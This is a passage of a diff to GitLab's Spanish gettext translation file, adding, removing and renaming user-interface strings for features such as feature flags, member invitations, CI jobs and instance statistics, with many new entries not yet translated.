msgstr ""
@@ -11222,6 +11568,9 @@ msgstr "Se ha producido un error al eliminar la clave del usuario."
msgid "Failed to reset key. Please try again."
msgstr "Se ha producido un error al restablecer la clave. Por favor, inténtalo de nuevo."
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr "Se ha producido un error al guardar las resoluciones de los conflictos producidos durante el merge. ¡Por favor, inténtelo de nuevo!"
@@ -11261,6 +11610,9 @@ msgstr "Se ha producido un error al actualizar las incidencias. Por favor, inté
msgid "Failed to update tag!"
msgstr "¡Se ha producido un error al actualizar la etiqueta!"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "Se ha producido un error al actualizar."
@@ -11300,12 +11652,18 @@ msgstr "Se ha eliminado correctamente el Favicon."
msgid "Feature Flags"
msgstr "Feature Flags"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr "No se ha eliminado la Feature Flag."
msgid "Feature flag was successfully removed."
msgstr "Feature flag eliminada correctamente."
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr "Porcentaje de despliegue"
msgid "FeatureFlags|Rollout Strategy"
msgstr "Estrategia de despliegue"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "Feb"
msgid "February"
msgstr "Febrero"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr "Obteniendo el correo entrante"
@@ -11602,7 +11963,7 @@ msgstr "Nombre del archivo"
msgid "File renamed with no changes."
msgstr "Archivo renombrado sin cambios."
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr "Buscar miembros existentes por su nombre"
msgid "Find file"
msgstr "Buscar archivo"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "Busque el archivo ZIP descargado y descomprímalo."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Huella digital"
@@ -11758,9 +12113,6 @@ msgstr "Primer día de la semana"
msgid "First name"
msgstr "Primer nombre"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr "Visto por primera vez"
@@ -11806,9 +12158,6 @@ msgstr "Importar desde FogBugz"
msgid "Folder/%{name}"
msgstr "Carpeta/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Siga los pasos a continuación para exportar sus datos de proyecto de Google Code."
-
msgid "Font Color"
msgstr "Color de la fuente"
@@ -11893,6 +12242,9 @@ msgstr "Se han encontrado errores en su archivo %{gitlab_ci_yml}:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Se han encontrado errores en su fichero .gitlab-ci.yml:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr "Prueba gratuita"
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr "De %{providerTitle}"
-msgid "From Google Code"
-msgstr "Desde Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "Desde la creación de la incidencia hasta el despliegue a producción"
@@ -12409,6 +12758,9 @@ msgstr "GitLab / Darse de baja"
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr "Usuario de GitLab"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab commit"
@@ -12652,15 +13007,12 @@ msgstr "Volver"
msgid "Go back (while searching for files)"
msgstr "Volver (mientras se buscan archivos)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
-msgstr "Vuelva a %{startTag}Incidencias abiertas%{endTag} y seleccione alguna de las incidencias mostradas para añadirlas a su tablero."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgstr ""
msgid "Go full screen"
msgstr "Ir a pantalla completa"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "Ir a %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr "Google Cloud Platform"
-msgid "Google Code import"
-msgstr "Importar desde Google Code"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "La autenticación de Google no está %{link_start}configurada correctamente%{link_end}. Pregunte a su administrador de GitLab si desea utilizar este servicio."
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr " Se ha producido un error al obtener las tareas épicas"
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "¿Está seguro que desea dejar el grupo \"%{fullName}\"?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Crear un proyecto en este grupo."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Crear un sub-grupo en este grupo."
-
msgid "GroupsTree|Edit group"
msgstr "Editar grupo"
@@ -13489,6 +13835,9 @@ msgstr "No se han detectado problemas"
msgid "HealthCheck|Unhealthy"
msgstr "Poco saludable"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "¡Hola!"
@@ -13640,9 +13989,6 @@ msgstr "¿En cuántos shards se puede dividir el índice de Elasticsearch?."
msgid "How many users will be evaluating the trial?"
msgstr "¿Cuántos usuarios evaluarán la prueba?"
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Sin embargo, ya es miembro de este %{member_source}. Inicie sesión con una cuenta diferente para aceptar la invitación."
@@ -13784,6 +14130,9 @@ msgstr "Si esto fue un error puede dejar el %{source_type}."
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "Si utiliza GitHub, verá los estados del pipeline en GitHub para sus commit y sus pull request. %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr "Importar CSV"
msgid "Import Projects from Gitea"
msgstr "Importar proyectos desde Gitea"
-msgid "Import all compatible projects"
-msgstr "Importar todos los proyectos compatibles"
-
-msgid "Import all projects"
-msgstr "Importar todos los proyectos"
-
msgid "Import an exported GitLab project"
msgstr "Importar un proyecto exportado desde GitLab"
@@ -13917,9 +14260,6 @@ msgstr "Importar proyectos desde FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Importar proyectos desde GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Importar proyectos desde Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Importar repositorios desde un servidor de Bitbucket"
@@ -13950,6 +14290,9 @@ msgstr "Importar/Exportar ilustración"
msgid "ImportButtons|Connect repositories from"
msgstr "Conectar repositorios desde"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "URL de importación bloqueada: %{message}"
@@ -13983,6 +14326,9 @@ msgstr "No se pudo crear el repositorio."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "Se ha producido un error al actualizar los proyectos importados con cambios en tiempo real"
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr "En progreso"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "En el siguiente paso, podrá seleccionar los proyectos que desea importar."
-
msgid "Incident"
msgstr "Incidente"
@@ -14193,9 +14536,6 @@ msgstr "Correo electrónico entrante"
msgid "Incoming!"
msgstr "¡Entrante!"
-msgid "Incompatible Project"
-msgstr "Proyecto incompatible"
-
msgid "Incompatible options set!"
msgstr "¡Conjunto de opciones incompatibles configuradas!"
@@ -14280,9 +14620,6 @@ msgstr "Instalar GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "Instalar Gitlab Runner en Kubernetes"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr "Instale un autenticador de token por software como por ejemplo, %{free_otp_link} o Google Authenticator desde el repositorio de su aplicación y utilice esa aplicación para escanear este código QR. Hay más información disponible en la documentación %{help_link_start}%{help_link_end}."
@@ -14306,73 +14643,79 @@ msgstr[1] "Instancias"
msgid "Instance Configuration"
msgstr "Configuración de la instancia"
-msgid "Instance Statistics"
-msgstr ""
-
msgid "Instance administrators group already exists"
msgstr "Ya existe el grupo de administrador de instancias"
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr "Todos los detalles"
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr "Detalles del comentario:"
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "Estándar"
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "Las partes interesadas incluso pueden contribuir haciendo push commit si lo desean."
@@ -14558,6 +14919,9 @@ msgstr "Formato de archivo no válido con el tipo de archivo especificado"
msgid "Invalid file."
msgstr "Archivo no válido."
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr "Parámetros de importación no válidos"
@@ -14600,6 +14964,9 @@ msgstr "Código de dos factores no válido."
msgid "Invalid yaml"
msgstr "Yaml no válido"
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "Invitación"
@@ -14624,6 +14991,9 @@ msgstr "Invitar al grupo"
msgid "Invite member"
msgstr "Invitar al miembro"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Tablero de incidencias"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr "Estado"
msgid "IssueAnalytics|Weight"
msgstr "Peso"
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Tablero"
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr "Se reintentó el trabajo"
msgid "Jobs"
msgstr "Trabajos"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Explorar"
@@ -15305,6 +15699,9 @@ msgstr "Claves"
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr "Apellido(s)"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Última respuesta por"
@@ -15583,6 +15977,9 @@ msgstr "Aprenda más acerca de Kubernetes"
msgid "Learn more about License-Check"
msgstr "Obtenga más información sobre la verificación de licencias"
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "Más información sobre la revisión de vulnerabilidades"
@@ -15610,9 +16007,6 @@ msgstr "Obtenga más información sobre los despliegues en un clúster"
msgid "Learn more about group-level project templates"
msgstr "Obtenga más información sobre las plantillas de proyectos a nivel de grupo"
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "Más información sobre los commits firmados"
@@ -15643,9 +16037,6 @@ msgstr "Abandonar grupo"
msgid "Leave project"
msgstr "Abandonar proyecto"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "Deja las opciones \"Tipo de archivo\" y \"Método de entrega\" con sus valores por defecto."
-
msgid "Leave zen mode"
msgstr "Abandonar el modo zen"
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "Licencia"
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr "License Compliance no ha detectado licencias para la rama origen"
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr "License Compliance no ha detectado nuevas licencias"
-msgid "LicenseCompliance|License details"
-msgstr "Detalles de la licencia"
-
msgid "LicenseCompliance|License name"
msgstr "Nombre de la licencia"
-msgid "LicenseCompliance|License review"
-msgstr "Revisión de la licencia"
-
-msgid "LicenseCompliance|Packages"
-msgstr "Paquetes"
-
msgid "LicenseCompliance|Remove license"
msgstr "Eliminar la licencia"
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Ya existe esta licencia en este proyecto."
-msgid "LicenseCompliance|URL"
-msgstr "URL"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "Está a punto de eliminar esta licencia, %{name}, para este proyecto."
@@ -15886,6 +16262,9 @@ msgstr "Limitar la visualización de las unidades de seguimiento de tiempo a hor
msgid "Limit namespaces and projects that can be indexed"
msgstr "Limitar los espacios de nombres y los proyectos que se pueden indexar"
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "Limitado a mostrar %d evento como máximo"
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr "Convertir este problema en confidencial"
msgid "Make sure you save it - you won't be able to access it again."
msgstr "Asegúrese de guardarlo, no podrá volver a acceder a él."
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "Asegúrese de haber iniciado sesión en la cuenta que posee los proyectos que desea importar."
-
msgid "Make this epic confidential"
msgstr "Marcar esta tarea épica cómo confidencial"
@@ -16173,18 +16552,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "No ha sido posible guardar el orden de las incidencias"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "Asigne una ID de cuenta de FogBugz a un usuario de GitLab"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Asigne un usuario de Google Code a un usuario de GitLab"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Asigne un usuario de Google Code a una dirección de correo electrónico completa"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Asigne un usuario de Google Code a un nombre completo"
-
msgid "Mar"
msgstr "Marzo"
@@ -16245,8 +16618,8 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
-msgstr "Marcado este %{noun} como trabajo en progreso."
+msgid "Marked this %{noun} as a draft."
+msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
msgstr "Esta incidencia esta marcada como un duplicado de %{duplicate_param}."
@@ -16257,8 +16630,8 @@ msgstr "Marcar esta incidencia como incidencia relacionada con %{issue_ref}."
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
-msgstr "Marca este %{noun} como un trabajo en progreso."
+msgid "Marks this %{noun} as a draft."
+msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
msgstr "Marca esta incidencia como un duplicada de %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr "Sugerencias:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr "Nivel de acceso máximo"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr "Miembros con acceso a %{strong_start}%{group_name}%{strong_end}"
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "Mensaje del merge commit"
@@ -16662,6 +17062,9 @@ msgstr "Los merge request son un lugar para proponer los cambios que ha realizad
msgid "Merge requests are read-only in a secondary Geo node"
msgstr "Los merge requests son de solo lectura en un Geo nodo secundario"
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "Ejecutar merge cuando el pipeline se ejecute con éxito"
@@ -17218,6 +17621,9 @@ msgstr "Las listas de hitos muestran todas las incidencias desde el hito selecci
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "No se puede encontrar el hito %{milestoneTitle}"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr "Capacidad mínima que debe estar disponible antes de que programemos má
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "La longitud mínima es de %{minimum_password_length} caracteres"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "La longitud mínima es de %{minimum_password_length} caracteres."
-
msgid "Minimum password length (number of characters)"
msgstr "Longitud mínima de la contraseña (número de caracteres)"
@@ -17419,7 +17822,7 @@ msgstr "Añadir clave SSH"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "No mostrar de nuevo"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr "Mover la selección hacia abajo"
msgid "Move selection up"
msgstr "Mover la selección hacia arriba"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr "Mueve esta incodencia a otro proyecto."
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Cerrar la sesión actual e iniciar sesión con una cuenta diferente"
msgid "Need help?"
msgstr "¿Necesita ayuda?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr "Necesita atención"
@@ -17900,7 +18312,7 @@ msgstr "Nunca"
msgid "New"
msgstr "Nuevo"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr "Nuevo requisito"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "¡Se ha generado el token de registro para los nuevos ejecutores!"
@@ -18157,9 +18572,6 @@ msgstr "¡No ha sido posible realizar la conexión con un servidor de Gitaly, po
msgid "No containers available"
msgstr "No hay contenedores disponibles"
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr "Sin contribuciones"
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "No, importe directamente las direcciones de correo electrónico y los nombres de usuario existentes."
-
msgid "No. of commits"
msgstr "Número de commits"
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr "Todavía no se han procesado todos los datos, la precisión del gráfico para el período de tiempo seleccionado es limitada."
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "No disponible"
@@ -18400,6 +18812,9 @@ msgstr "No hay suficientes datos"
msgid "Not found."
msgstr "No encontrado."
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "No está listo todavía. Por favor, inténtalo de nuevo más tarde."
@@ -18412,6 +18827,9 @@ msgstr "Nota"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "Tenga en cuenta que esta invitación se envió a %{mail_to_invite_email}, pero ha iniciado sesión como %{link_to_current_user} con el correo electrónico %{mail_to_current_user}."
@@ -18451,6 +18869,9 @@ msgstr "Mostrar sólo el historial"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "Este comentario ha cambiado desde que se comenzó a editar, por favor revise el %{open_link}comentario actualizado%{close_link} para asegurar que no se pierde ningún tipo de información"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "Nada encontrado…"
@@ -18487,9 +18908,15 @@ msgstr "Pipeline fallido"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
